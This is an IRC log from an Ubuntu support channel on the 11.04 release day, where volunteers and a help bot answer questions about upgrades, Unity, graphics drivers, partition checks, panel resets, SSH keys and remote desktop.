[18:45] <ElNino> cdbs: default
[18:45] <escott> cordoval_, you may want it to automatically fix any errors it finds in which case fsck -p
[18:45] <Chuck_> hey, I just upgraded to 11.04, messed around with my nvidia graphics settings and now cannot get into my box!
[18:45] <ElNino> Guest20267: no its awefull
[18:45] <Chuck_> can anyone assist?
[18:45] <IdleOne> Hedgehog456: yup I know but sometimes ubottu is a little too impersonal. :)
[18:45] <mtlife> upgrade is so slow... 50kb/s ;/
[18:45] <cdbs> ElNino: Try running unity --reset from Alt+f2, if that doesn't fix it then re-check theme settings and make sure its ambiance
[18:45] <g4> is 11.04 a LTS release?
[18:46] <gogeta> step21: better they fork gnome 2 call it there own
[18:46] <vish> !best | jiltdil
[18:46] <ubottu> jiltdil: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[18:46] <IdleOne> g4: no
[18:46] <cordoval_> escott: so the command I should run is fsck -p /dev/sda#?
[18:46] <loseweighttttttt> i keep getting message 'tempory failiure in name resolution'
[18:46] <gogeta> step21: rather then trainwreck the distro with unity
[18:46] <cordoval_> for each partition
[18:46] <tripelb> Yes, a year ago when I asked to understand about partitions. I only found FUD. I really really like this, just found it... http://tldp.org/LDP/intro-linux/html/sect_03_01.html  in general overview of the linux system: 3.1.2.2. Partition layout and types
[18:46] <Fodi69> when I go to fullscreen, the minimize/maximize/close buttons can't be reached by a fast mouse move, must play with it....
[18:46] <cordoval_> escott: so the command I should run is fsck -p /dev/sda#? for each partition
[18:46] <HyperShock> mtlife: do the math, if 11.04 went hot today, and everyone is downloading it, say 100,000+ people, how sucky do you think the bandwidth will be?
[18:46] <Witchsong_> In what folders does the Dash search for files?
[18:46] <stefg> loseweighttttttt: servers overloaded
[18:46] <escott> cordoval_, good practice to see your errors first before you start correcting them, but yes
[18:46] <step21> gogeta, this is support and I'm not really hre to get into that argument
[18:46] <Eduard> Guys, how do i install gnome3 in 10.10?
[18:46] <sebsebseb> !lts | g4
[18:46] <ubottu> g4: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[18:46] <n2diy> HyperShock, no
[18:47] <step21> Eduard, ppa or compile, google is your friend
[18:47] <giraffro> Heh, I've upgraded to 11.04 but I can't get the Super / Win key working on Compiz. It just shows up as Multi_key. I've tried changing the keyboard options for Win key behaviour but to no avail, but binding Caps Lock with Super does work. Any help? I'm using a Logitech MK520 keyboard.
[18:47] <cordoval_> rats livecd is slow in loading
[18:47] <mtlife> HyperShock: I made the math ;)... i upgraded my other distro before it went live (beta2) and it was ALOT faster haha... should have upgraded my main also ;/
[18:47] <escott> cordoval_, that way you know that if it reports lots of errors on /usr/lib/libglib or some such that your libglib is hosed
[18:47] <cordoval_> wonder why this is an asus g73
[18:47] <sebsebseb> escott: there's a ppa :)
[18:47] <sebsebseb> escott: i'll get a link hold on
[18:47] <escott> sebsebseb, for what?
[18:47] <Eduard> step21: tried googling it already, i only get results pointing to test ppa. Gnome3 was already released, i need to find a stable one
[18:47] <Hedgehog456> !hoary
[18:47] <ubottu> Ubuntu 5.04 (Hoary Hedgehog) was the second release of Ubuntu.  End Of Life: October 31, 2006. See !eol for more details.
[18:47] <ElNino> cdbs: youre a hero :)
[18:48] <sebsebseb> escott: oh wrong person
[18:48] <HyperShock> n2diy: were you asking in regards to gnome?
[18:48] <mustafa> gaara, cdbs, no solution?
[18:48] <sebsebseb> Eduard: there's a Gnome 3 ppa, i'll get al ink
[18:48] <Hedgehog456> !eol > Hedgehog456
[18:48] <ubottu> Hedgehog456, please see my private message
[18:48] <cdbs> ElNino: gaara  mustafa Okay, I gotta go, bye
[18:48] <vish> ElNino: cdbs is also the poster child for Ubuntu ;)
[18:48] <gaara> cdbs, thanks
[18:48] <ElNino> ah dang cdbs it worked then falled back
[18:48] <Eduard> sebsebseb: ok, thanks
[18:48] <gaara> mustafa, am gonna try downloading the dvd and seeing if it works
[18:48] <rach0> Eduard, there is a gnome 3 ppa for ubuntu but it's far from stable, use it at your own risk
[18:48] <step21> Edgan, I don't think there is a stable one. webupd8.org has links to ppa and to compile, apparently compiling works better with a running system
[18:49] <cordoval_> just got livecd working
[18:49] <mustafa> ok
[18:49] <joepa> anyone know how to enable visual effect in Natty? that option is missing from System->Appearance
[18:49] <escott> Eduard, have heard from some that it breaks unity
[18:49] <cordoval_> I knew i had not bought an asus g73 for nothing
[18:49] <mustafa> gaara, ok
[18:49] <HyperShock> n2diy: because to get the hard disk monitor on your panel, simply right click the panel you want the monitor on, choose add to panel, then select and add, system monitor. when it appears on the panel, right click it and choose configure, there you can add the hard disk and much more.
[18:49] <cordoval_> rats!
[18:49] <D-coy> alguien sabe como eliminar la leyenda que aparece arriba de la cuenta regresiva del grub asi como el marco? :þ
[18:49] <mustafa> gaara, can you share the link?
[18:49] <Eduard> escott: i'm on 10.10 gnome 2.32
[18:49] <sebsebseb> Eduard: with the Gnome 3 ppa, you don't quite get the 100% proper full expereince, that you would get in other distro's that use it by default, but well if it works, should be ok enough for now
[18:49] <IdleOne> !es | D-coy
[18:49] <ubottu> D-coy: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[18:49] <gaara> for the dvd?
[18:49] <escott> Eduard, ok sorry
[18:50] <escott> cordoval_, please keep your comments to information not "rats!" we have lots of traffic on here
[18:50] <Chuck_> can anyone help me get to a console and change my nvidia xserver settings, I changed something and cannot get into the graphical environ now
[18:50] <n2diy> HyperShock, ok, the sys monitor description didn't mention HD activity, thanks.
[18:50] <cordoval_> I wonder if I reinstall ubuntu if it will keep my data intact
[18:50] <D-coy> IdleOne, thanks but, she m4v ban me, I don't know :S
[18:50] <HyperShock> n2diy: yw
[18:50] <Eduard> sebsebseb: i understand that :). So, you checked the link to ppa?
[18:50] <cordoval_> rats! ok escott, sorry rats! is like to convey frustration
[18:50] <varunvyas> hi all
[18:50] <chadi> if my current maverick version is 32-bit, and I'm installing 64-bit natty, will it read my /home? (I have a separate /home partition)
[18:51] <econdudeawesome> jrib: where would I put the "text" option in the Grub2? I'm looking over the documentation and it is not clear to me
[18:51] <IdleOne> D-coy: ok, in the channel please speak in English
[18:51] <varunvyas> when I want to ugread to 10.10 from 10.04
[18:51] <gaara> chadi, no it wont
[18:51] <IdleOne> this*
[18:51] <varunvyas> it always aborts
[18:51] <escott> cordoval_, depends on how things are configured, i understand you are frustrated but the channel is not the appropriate place we have 1800 people on it, and multiple conversations
[18:51] <jrib> econdudeawesome: at the end of the grub line (next to "splash")
[18:51] <HyperShock> chadi: you'll have to remap the home directory in afterwards
[18:51] <sebsebseb> Eduard: yeah just got a  bit of a browser issue, hold on
[18:51] <jrib> econdudeawesome: I meant to say *kernel* line
[18:51] <petsounds> So Unity doesn't support nvidia 7 series? weird cause it works in my laptop and netbook.
[18:51] <zombie_> hi =) Questions. What is the shortcut to go between workspaces ubuntu 11.04
[18:51] <varunvyas> anyhelp
[18:51] <stREaKer> anyone here using ATi with natty?
[18:51] <gaara> anyone here experiencing backlight issues with natty?
[18:51] <chadi> HyperShock, gaara: sure I will, but is there a 32-bit / 64-bit move problem?
[18:51] <econdudeawesome> jrib: so the GRUB_CMDLINE_LINUX_DEFAULT = "spash quiet text"?
[18:51] <escott> !help | varunvyas
[18:51] <ubottu> varunvyas: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[18:52] <jrib> econdudeawesome: sure
[18:52] <strigoi66> sorry to go offtopic but can someone check a website for me and let me know if its viewable? http://67.235.213.82
[18:52] <rach0> stREaKer, me
[18:52] <IdleOne> zombie_: ctrl - alt - arrow keys
[18:52] <jrib> strigoi66: no
[18:52] <stREaKer> rach0: which driver are you using?
[18:52] <HyperShock> chadi: i would say only if you have 32bit custom programs residing in it, you may need to recompile them
[18:52] <gaara> jrib, are u facing no backlight problem? i have the same thing
[18:52] <Senix> is there an install client for 7zip?
[18:52] <rach0> open source
[18:52] <econdudeawesome> jrib: here goes :-)
[18:52] <zombie_> ah, very nice thanks!
[18:52] <sebsebseb> petsounds: what's that a reasasonbly new Nivida card or?
[18:52] <strigoi66> thank you
[18:52] <kwtm> strigoi66: That's not a good idea.  Who knows whether a web site is malicious?
[18:52] <jiltdil> jrib:should i install 11.04 or wait some days?
[18:52] <Tom__> Senix - yes, just use the software center and search for 7zip
[18:52] <g4> I'm happy with python-docky, but I see that the installer say it's no longer needed? https://bit.ly/mvgmQF I can reinstall after upgrade?
[18:52] <raju> cdbs:  my problem also got solved man
[18:52] <stREaKer> rach0: 11.2 wont load up dont know why ? and what do you mean open source?
[18:52] <gaara> mustafa, http://cdimage.ubuntu.com/dvd/current/natty-dvd-amd64.iso
[18:53] <cordoval_> escott: not sure if I find the partition that my disk is in
[18:53] <jrib> strigoi66: I meant "no" as in we can't check
[18:53] <cordoval_> how to figure it out the partition of my drive
[18:53] <ubuntu> Hi, How I can enable Unity in 11.04_
[18:53] <ubuntu> _
[18:53] <ubuntu> ?
[18:53] <varunvyas> When I am trying to upgread from 10.04 to 11.04 , it aborts while downloading new packages
[18:53] <sebsebseb> petsounds: also have you got a propitary Nivida driver installed or not?
[18:53] <sirgad> Hi. I have a UCK modified Ubuntu Live CD. A bug in UCK (or a bad interaction with my setup) mean I can't complete my customizations. Can I do them manually?
[18:53] <sebsebseb> varunvyas: you got to go through 10.10
[18:53] <HyperShock> kwtm: in Opera and I think firefox, you can get an addon called WOT (web of trust), it will tell you very aptly if a website is malicious
[18:53] <rach0> stREaKer, i mean the default driver that comes with the installation, no fglrx stuff
[18:53] <Tom__> Can I upgrade from 11.04 BETA to the final version, or do I have to re-install?
[18:53] <escott> cordoval_, cat /proc/partitions will tell you all partitions, where / vs /boot vs /home might be is something you will have to remember
[18:53] <sebsebseb> !upgrade | Tom__
[18:53] <ubottu> Tom__: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[18:53] <ls_> do i want to upgrade to do a fresh install
[18:53] <sebsebseb> !fianal | Tom__
[18:53] <mustafa> gaara, I am leaving now
[18:54] <kwtm> HyperShock: I will leave it to you to check strigoi66's web site.
[18:54] <mustafa> gaara, thank you
[18:54] <kbrosnan> HyperShock: kwtm wot only works if people rank the site
[18:54] <compdoc> sebsebseb, Im installing 11.04 from cd right now, and its taking forever to d/l files. liekly because of all the uers doing the same thing
[18:54] <sebsebseb> !final | Tom__
[18:54] <ubottu> Tom__: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[18:54] <varunvyas> I am upgreading to 10.10 (my bad)
[18:54] <zombie_> how do I make my dock stick so it does not autohide.  There is no "settings" that i can find for it ubuntu 11.04
[18:54] <sebsebseb> Tom__: however even so ^ it may be a great idea to re install, to make 100% sure you have the proper expereince
[18:54] <escott> varunvyas, does it say why is aborts?
[18:54] <ls_> pl
[18:54] <gerrin> laptop screen busted can only see half of screen, is there anyway to shut off the screen and make external vga port primary monitor from terminal
[18:54] <ls_> ok
[18:54] <HyperShock> kwtm: if you are using linux to surf, what is the max risk you are worried about?
[18:54] <cordoval_> it has only loop0, sda, sda1, sda2, and sd5
[18:54] <varunvyas> it says not able to download packages
[18:55] <varunvyas> and gives set of pacakges
[18:55] <Dr_Willis> gerrin:  the xrandr tool perhaps. it may depend on your video chipset. My BIOS settings on my laptop also have such a setting.
[18:55] <sebsebseb> compdoc: yeah the repo's tend to be slow on release day
[18:55] <cordoval_> it has little information
[18:55] <OverTheHillAndFa> anyone able to help out with unity not loading? drivers is ok. but standard session does not load unity after uninstalling unity-2d
[18:55] <petsounds> sebsebseb, mine is 7 series so it is old, and yes i have the proprietary driver installed (version 270) i have to use ubuntu classic with no effect bc unity and ubuntu classic freeze my desktop.
[18:55] <Dr_Willis> varunvyas:  servers are taking a heavy load right now.
[18:55] <sebsebseb> !slow | compdoc
[18:55] <ubottu> compdoc: The Ubuntu repositories and ISO mirrors are currently under heavy load. Please consider using !torrents to download ISO images, and be patient with APT updates.  Also, try changing !mirrors
[18:55] <varunvyas> I am doing it again , will capture exact error this time
[18:55] <ubuntu> Wasn't it suppose to be that 11.04 had Unity as default desktop?
[18:55] <rach0> stREaKer, can you explain what's the problem with booting in Natty
[18:55] <sirgad> actually, does anyone know of a UCK-dedicated IRC room?
[18:55] <Dr_Willis> Live cd - just loaded the gnome classic desktop here. :() No Unity. heh.
[18:55] <sebsebseb> petsounds: ok bingo, sounds like me with the Beta 2, but I found out about a little trick, to get Unity working, when the propritary driver freezes that may also work for you
[18:55] <escott> cordoval_, well fsck sda1, sda2, and sda5 (although 5 is probably a swap partition), do you remember how you configured your partitions
[18:55] <ubuntu> Dr_Willis, Same problem here.
[18:56] <stREaKer> rach0: PC wont boot up in normal mode and in recovery mode with no GFX it boots
[18:56] <ssfdre38> hey i think the site needs a good fixing
[18:56] <Dr_Willis> Proberly due to my vdieo card not having 3d support perhaps.
[18:56] <ubuntu> Dr_Willis, like whole Unity does not exist at all.
[18:56] <cordoval_> I already did that
[18:56] <dimkin> i was on 11.04 beta, and today no updates at all, is it ok? :)
[18:56] <stREaKer> rach0: "Error: ./default_policy.sh does not support version" error am facing which installing the driver
[18:56] <gerrin> Dr_Willis, how do i run that xrandr, and im running and ati radeon 1200x with amd turion tl60 processor if that helps
[18:56] <ubuntu> Dr_Willis, my does have but I can not enable Unity anyway.
[18:56] <cordoval_> oh rats sorry required sudo
[18:56] <Elssha> okay, so I managed to get terminal working... now how do I restore the panel the way it was in 11.04?
[18:56] <sebsebseb> petsounds: remove the propritary driver from additional drivers, and then the experimental 3D support driver should show, install that, and it is more likely to work for you :)
[18:56] <Dr_Willis> dimkin:  sounds like you are uyo to date.
[18:56] <timjk> i want to connect via remote desktop to a ubuntu 10.10 machine from my machine running ubuntu 10.10
[18:56] <mikebot> Does anyone have a working link to 11.04 netbook version?
[18:56] <HyperShock> stREaKer: you will probably have to reconfigure your x server
[18:56] <mikebot> *torrent
[18:56] <timjk> which package should i install on my machine ?
[18:56] <petsounds> sebsebseb, ahhh cool will try dat, thanks bro
[18:56] <Johan2> Hi, I'm having some slight problems with my new 11.04 upgrade.
[18:56] <stREaKer> HyperShock: how do I go about doing that?
[18:56] <dimkin> so release day doesnt mean new updates will be ? :)
[18:56] <timjk> vncviewer does not work
[18:57] <sebsebseb> mikebot: there isn't one anymore, because Unity is now for both netbooks and Desktop
[18:57] <tripelb> Trying to understand "df -h" compared to what I see in "computer" in nautilus. I have 3 drives, 1T main drive booted up on-SATA also with 31G Windows partition., 2 IDE drives 10G 20G. GUI shows this. Can only see the subparts of 1T filesystem in df --- thanks
[18:57] <Johan2> Basically, I can't find a program to change the settings of Dash
[18:57] <cordoval_> sda1 is clean
[18:57] <sebsebseb> mikebot: however Unity should be able to detect when it's running on a netbook or desktop, and then be slightly differnet as well
[18:57] <HyperShock> stREaKer: you should be able to do it from the recovery mode option in grub
[18:57] <IdleOne> zombie_: here is a decent list of shortcuts for Unity. http://askubuntu.com/questions/28086/unity-keyboard-mouse-shortcuts/28087#28087
[18:57] <rach0> stREaKer, do you have the fglrx driver installed?
[18:57] <escott> timjk, rdesktop for windows style, various vnc clients, and ssh -X for the traditional unix approach
[18:57] <HyperShock> if you cant get that let me dig out that sudo command
[18:57] <Dr_Willis> dimkin:  ive often insgtalled the beta. then updated the day befor release.. then dont update till a week after its released.. servers are to overloaded for that week
[18:57] <sebsebseb> petsounds: and would be interested to know if that works for you :)
[18:57] <jiltdil> Dr_willis:i have nvidia gefore 9400GT does it supports 3D for natty?
[18:57] <Dr_Willis> jiltdil:  no idea.
[18:57] <Craigen> How do i access grub on bootup?
[18:57] <ale`> hi, I just updated to 11.04, but at the end of the update (I'd say it was around the 80% of the package installation step) my pc hanged with a blinking caps lock led. Now, whenever I boot it, I get a blinking caps and the pc hangs. My machine is a Lenovo T61, my network card is an intel 4965 (It seems to be related, at least that's what I found out googling)
[18:57] <rimo0> i just generated a key for my SSH shell account! the next time that i tried to log in it asked me for a 'passphrase' and it didn't ask me for my account password!! so now what is the diffrent between it and my password? as if I just changed a new password for my account? isn't it? "generating a Key" what is it use for?
[18:57] <stREaKer> rach0: I did an upgrade no fresh istallation and yes i had it and it has crashed yet again
[18:57] <cordoval_> sd2 is fsk.ext2 attempt to read block from filesystem resulted in short read while trying to open dev sda2
[18:57] <ale`> Any help?
[18:57] <timjk> escott: which vnc client to install ?
[18:58] <mikebot> sebsebseb: http://www.ubuntu.com/download/ubuntu/alternative-download
[18:58] <cordoval_> could this be a zero-length partition?
[18:58] <Dr_Willis> jiltdil:  i noticed the addational drivers tool. does not list anything for theis Nvidia Gefoirce 6150 I got.
[18:58] <Elssha> anyone know how to restore the panel in 11.04?
[18:58] <HyperShock> stREaKer: sudo Xorg --configure
[18:58] <stREaKer> HyperShock: where do i find the options...am already booted in ubuntu 11.04
[18:58] <Dr_Willis> !reset-panel
[18:58] <cordoval_> -p would not fix that
[18:58] <stREaKer> HyperShock: thanks
[18:58] <Dr_Willis> !resetpanel
[18:58] <ubottu> To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[18:58] <escott> !best | timjk
[18:58] <Tom__> Thanks!
[18:58] <ubottu> timjk: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[18:58] <Dr_Willis> I wonder if that works in 11.04 - proberly does
[18:58] <dimkin> Dr_Willis, thanx :)
[18:58] <Tom__> quit
[18:58] <binoy> how do i ssh into a computer behind nat?
[18:58] <escott> !vnc | timjk
[18:58] <ubottu> timjk: VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[18:58] <rach0> stREaKer, alright boot in recovery and sudo apt-get remove --purge fglrx fglrx_* fglrx-amdcccle* fglrx-dev* xorg-driver-fglrx
[18:58] <petsounds> sebsebseb, oki dokiee, brb
[18:59] <cordoval_> this is serious businsess
[18:59] <escott> cordoval_, could be an extended partition, check gparted and see what it says it is
[18:59] <sebsebseb> Eduard: trying to get the link for you now, but
[18:59] <escott> binoy, you need to forward the ssh port in your router
[18:59] <rach0> stREaKer, then restart X
[18:59] <sebsebseb> IdleOne: is there a factoid yet for the new help site by the way?
[18:59] <BlouBlou-> hi, I just installed ubuntu, I installed graphic card-drivers and when I rebooted, I lost gnome pannels, any idea of how to recover them?
[18:59] <stREaKer> ohk
[18:59] <hypetech> ssav: you still need a script for that ssh issue?
[18:59] <IdleOne> sebsebseb: which help site? askubuntu?
[18:59] <binoy> escott: i have no access to router
[18:59] <sebsebseb> IdleOne: yep that one
[18:59] <IdleOne> sebsebseb: not sure.
[18:59] <escott> binoy, then you cant do it
[19:00] <cordoval_> escott: it is sda1 huge amount
[19:00] <jdahm> am I gauranteed that /sbin/mdadm will start after installing or do I need to chroot and add it somehow?
[19:00] <tomasz> hi all
[19:00] <binoy> oops
[19:00] <rimo0> i just generated a key for my SSH shell account! the next time that i tried to log in it asked me for a 'passphrase' and it didn't ask me for my account password!! so now what is the diffrent between it and my password? as if I just changed a new password for my account? isn't it? "generating a Key" what is it use for?
[19:00] <thien> how to change permission of a partition?
[19:00] <cordoval_> but it says now it is clean
[19:00] <tomasz> in ubuntu one is bug with formating text
[19:00] <sebsebseb> Eduard: if you go to the askubuntu help site, and find the instructions for installing GNome 3, that's what you want.  with the beta 2 I used wrong instructions on another site, and ended up with a cross between Gnome 2 and Gnome 3 instead
[19:00] <cordoval_> sda1
[19:00] <BlouBlou> help please, how to restar gnome pannels?
[19:00] <zeeegis> how to upgrade ubuntu from 11.04 beta to  new 11.04 ?
[19:00] <escott> binoy, thats not entirely true, you would have to have someone on the target machine start a connection to the outside though, so for all intents and purposes its not possible
[19:00] <Dr_Willis> thien:  what filesystem is the partition?
[19:00] <cordoval_> I will check them with gparted since it is gui
[19:00] <IdleOne> !support > sebsebseb
[19:00] <ubottu> sebsebseb, please see my private message
[19:00] <cordoval_> and see what happens
[19:00] <Dr_Willis> !resetpanel | BlouBlou
[19:00] <ubottu> BlouBlou: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[19:00] <GerardM-> where can I find how to do a screenshot ?
[19:01] <BlouBlou> anyone knows?
[19:01] <sebsebseb> !support | Eduard
[19:01] <cordoval_> escott: thanks I will check them with gparted
[19:01] <ubottu> Eduard: The official ubuntu support channel is #ubuntu. Also see http://ubuntu.com/support and http://ubuntuforums.org and http://askubuntu.com
[19:01] <thien> Dr_Willis: ext4
[19:01] <BlouBlou> okay
[19:01] <Dr_Willis> BlouBlou:  try alt-f2 and  run gnome-panel
[19:01] <escott> cordoval_, and can you confirm with gparted that sda1 was a large ext4 and that sda2 was extended with sda5 the logical inside which was swap
[19:01] <joepa> anyone know how to enable desktop effects in natty / classic?
[19:01] <Dr_Willis> thien:  mount it. and chmod/chown the mountpoint (which will actually be chown/moding the root of the filesystem)
[19:01] <joepa> it used to be under Preferences->Appearance
[19:01] <Johan2> Uhm
[19:01] <Witchsong_> http://3.bp.blogspot.com/-zfjsZBC3Ajk/TbfO95Lv25I/AAAAAAAAB-o/8qQlSBeoAVY/s1600/Screenshot.png <-- How to add groups like that to the sidepane?
[19:01] <Witchsong_> Anyone know?
[19:01] <cordoval_> confirmed
[19:01] <Johan2> So, uh, changing DASH's settings?
[19:01] <cordoval_> escott: you are confirmed in all you said
[19:01] <rimo0> no answer?
[19:02] <Johan2> rimo0: What's your problem?
[19:02] <rimo0> i just generated a key for my SSH shell account! the next time that i tried to log in it asked me for a 'passphrase' and it didn't ask me for my account password!! so now what is the diffrent between it and my password? as if I just changed a new password for my account? isn't it? "generating a Key" what is it use for?
[19:02] <cordoval_> so checking now sdad1
[19:02] <nastjuid> dangit, I forgot to check for previous versions in apt. Is it possible to specify the previous version of gnome for installation or is this new design in 11.04 the only version of gnome I can use?
[19:02] <vish> !support | sebsebseb mentions the ask link
[19:02] <ubottu> sebsebseb mentions the ask link: The official ubuntu support channel is #ubuntu. Also see http://ubuntu.com/support and http://ubuntuforums.org and http://askubuntu.com
[19:02] <Dr_Willis> Witchsong_:  check some of the blog sites like OMGubuntu for  Unity tips and tricks perhaps.
[19:02] <sebsebseb> vish: uh?
[19:02] <Chuck_> I have changed some nvidia settings and now my graphical environment loads to the login page but after that it just sits with the busy mouse icon.  Please help
[19:02] <IdleOne> Witchsong: drag and drop the folder you want to the left pane.
[19:03] <escott> cordoval_, ok now you have to decide, your options are the easy route of backing up your important data and reinstalling from scratch, or the challenging/may not work/may seem to work but secretly be broken method or trying to resume the install
[19:03] <IdleOne> Witchsong: that should create a shortcut
[19:03] <HyperShock> Witchsong_: if by groups you mean folders, then drag and drop a folder of your choosing on the side panel
[19:03] <cordoval_> escott: you sold me on a
[19:03] <vish> hmm, i was replying to this, <sebsebseb> IdleOne: is there a factoid yet for the new help site by the way? … i need to scrolldown fully :D
[19:03] <rimo0> Johan2: i just generated a key for my SSH shell account! the next time that i tried to log in it asked me for a 'passphrase' and it didn't ask me for my account password!! so now what is the diffrent between it and my password? as if I just changed a new password for my account? isn't it? "generating a Key" what is it use for?
[19:03] <IdleOne> sebsebseb: !support has a link to askubuntu is what vish was saying
[19:03] <cordoval_> should I try to restart laptop just in case perhaps it works?
[19:03] <Johan2> rimo0: Uuuh, no idea
[19:03] <phoenixsampras> WHAT is the difference between UBUNTU FOR Business and the normal version???
[19:03] <Eduard> sebsebseb: thanks for the link
[19:04] <sebsebseb> IdleOne: yeah,  as you can see above gave that factoid to Eduard  who wants the Gnome 3 install instructions
[19:04] <hypetech> phoenixsampras: probably official support
[19:04] <IdleOne> sebsebseb: ah, cool.
[19:04] <BlouBlou> Dr_Willis: it doesn't work
[19:04] <escott> cordoval_, you could try. if you need to do a backup and don't have an external drive you can resize the sda1 partition and add a partition after it for your backup
[19:04] <sebsebseb> IdleOne: that's something else, if there isn't a factoid yet for installing Gnome 3 from the ppa, there should be really I think :)
[19:04] <BlouBlou> Dr_Willis: I tried both and nothing
[19:04] <IdleOne> !gnome3
[19:04] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are _experimental_, _unstable_ and may break your system.
[19:04] <sebsebseb> Eduard: ^
[19:04] <cordoval_> escott: how to see my files from here though
[19:05] <Hedgehog456> Servers okay now?
[19:05] <cordoval_> i can plug a usb drive
[19:05] <escott> Johan2, and you added the public key to .ssh/authorized_keys on the target machine
[19:05] <thien> (01:01:54 AM) Dr_Willis: how to do it?
[19:05] <cordoval_> but how to move the files if I cannot see them
[19:05] <cordoval_> oh nevermind went to places
[19:05] <Johan2> escott: It's not I that have the problem
[19:05] <cordoval_> it is mounting now
[19:05] <sebsebseb> IdleOne: last time I looked the ppa site itself,  wasn't really helpful on how to install it, but  someone suggested the askubuntu link for it, and that was good
[19:05] <Dr_Willis> thien:  do what? this channel is going by so fast my history buffer is gone.
[19:05] <BlouBlou> Dr_Willis: any idea of how to recover my pannels?
[19:05] <Johan2> escott: My problem is my inability to find a goddamn way to change the settings of dash
[19:05] <escott> Johan2, sorry meant rimo0
[19:05] <wildc4rd> evenin all
[19:05] <vish> sebsebseb: the ppa page has the instructions to install a ppa, what is missing there?
[19:06] <vish> that*
[19:06] <Dr_Willis> BlouBlou:  run gnome-panel  via the apt-f2 feature perhaps.. or try that resetpanels factoid commands.
[19:06] <hypetech> Johan2: open ccsm and click on unity
[19:06] <nastjuid> Johan2: if you find a configuration tool with more than two radio buttons, let me know
[19:06] <thien> Dr_Willis: how to change permission of a partition
[19:06] <johnjaylward> Hi, in Natty is there a way to disable the auto-maximize of the browser upon open when in Unity?
[19:06] <BlouBlou> Dr_Willis: I tried both and nothing
[19:06] <LAcan> escott, i tried running "sudo iwconfig wlan0 mode Auto" but I get "SET failed on device wlan0 ; Invalid argument." ?
[19:06] <Dr_Willis> thien:  you dont.. You change permissions on the FILESYSTEM on the partition.
[19:06] <Dr_Willis> thien:  mount it. and chmod/chown the mountpoint (which will actually be chown/moding the root of the filesystem)
[19:06] <nastjuid> hypetech: the panel optiosn are in ccsm?
[19:06] <sebsebseb> vish: well with beta 2, there was  something about it,  when I was there
[19:06] <escott> LAcan, do you have a wlan0
[19:06] <Dr_Willis> !permissions | thien
[19:06] <ubottu> thien: An explanation of what file permissions are and how they can be manipulated can be found at https://help.ubuntu.com/community/FilePermissions
[19:07] <LAcan> escott, yes
[19:07] <nastjuid> hypetech: or does that not include menu item customization? I can't seem to add launchers to it. Pretty sure I"m just doing it wrong.
[19:07] <BlouBlou> Dr_Willis: I'll try a thing
[19:07] <escott> LAcan, not sure... could be a driver issue
[19:07]  * sebsebseb thinks the channel number right now is a bit disapointing not 2000 or so, oh well :D
[19:07] <hypetech> nastjuid: yes
[19:07] <DarkStar1> where do I add entries for the name resolution of other computers on my network? In my hosts file?
[19:07] <LAcan> escott, is there a way I can just restart it and let ubuntu do the config as if it was a rebbot/logout ?
[19:07] <DarkStar1> or will samba auto add this for me?
[19:07] <hypetech> nastjuid: to add a launcher, just open the program, then when it shows up right click on it in the dock and click add launcher
[19:07] <vish> sebsebseb: thats a GOOD sign, less problems requiring support ;p
[19:08] <nastjuid> hypetech: ah ha! thanks
[19:08] <damiano__> hello
[19:08] <mnoyce> Does anyone know if there's any way to turn off the "Apps for Download" list thingy?
[19:08] <vega> i hope i'm wrong but to me it seems that natty ships with a stone-age lirc (0.8.7) that is NOT compatible with nattys lirc kernel drivers?
[19:08] <Dr_Willis> DarkStar1:  i dont think samba will auto do that.
[19:08] <LAcan> does anyone know the modes for an intel 345ABGN ?
[19:08] <escott> LAcan, you could see if there is a service that manages the network. you could even restart the network service, or unload/reload the modules
[19:08] <sburjan`> hello. How can I enable unity after installing display drivers ?
[19:08] <damiano__> i don't understand why lightt doesn start i do /etc/init.d/lighttpd start but nothing happen.... no process running, what can i do?
[19:08] <Witchsong_> HyperShock: With groups I meant the Personal, Devices etc.
[19:08] <damiano__> i don't understand why lighttpd doesn start i do /etc/init.d/lighttpd start but nothing happen.... no process running, what can i do?
[19:09] <marcusk> damiano__: it's a script, look at it and see what it's doing
[19:09] <Dr_Willis> damiano__:  try the service command perhaops? perhaps you need a sudo in there also..
[19:09] <jrib> damiano__: this is likely unrelated but it is a good idea to use "service", not /etc/init.d
[19:09] <IdleOne> damiano__: sudo service lighttpd start ?
[19:09] <damiano__> i don't understand 5 minutes ago it was running
[19:09] <damiano__> one moment
[19:09] <vish> sburjan`: once the drivers are installed, Unity should be selected by itself, if not , select it from the login screen.
[19:09] <proq> I would like wubi to install ubuntu 11.04 and not 10.04. I have already tried to run and install wubi with 10.04 but it failed; are there any files I have to cleanup first?
[19:10] <escott> sburjan`, finally you can try unity --replace
[19:10] <marcusk> damiano__: also check if something is written to the logs
[19:10] <damiano__> * Starting web server lighttpd                                                                                                                                             [ OK ]
[19:10] <proq> ubuntu netbook 10.04 I mean
[19:10] <damiano__> but there aren't process
[19:10] <step21> proq, I think wubi is not quite ready for 11.04
[19:10] <damiano__> no lighttpd process running
[19:10] <stefg> damiano__: check for zombie processes... killall lighthttps, then 'service start lighthttpd'
[19:10] <Armageddon> if I use apt-get -d install package, that will download the package but not install it right ?
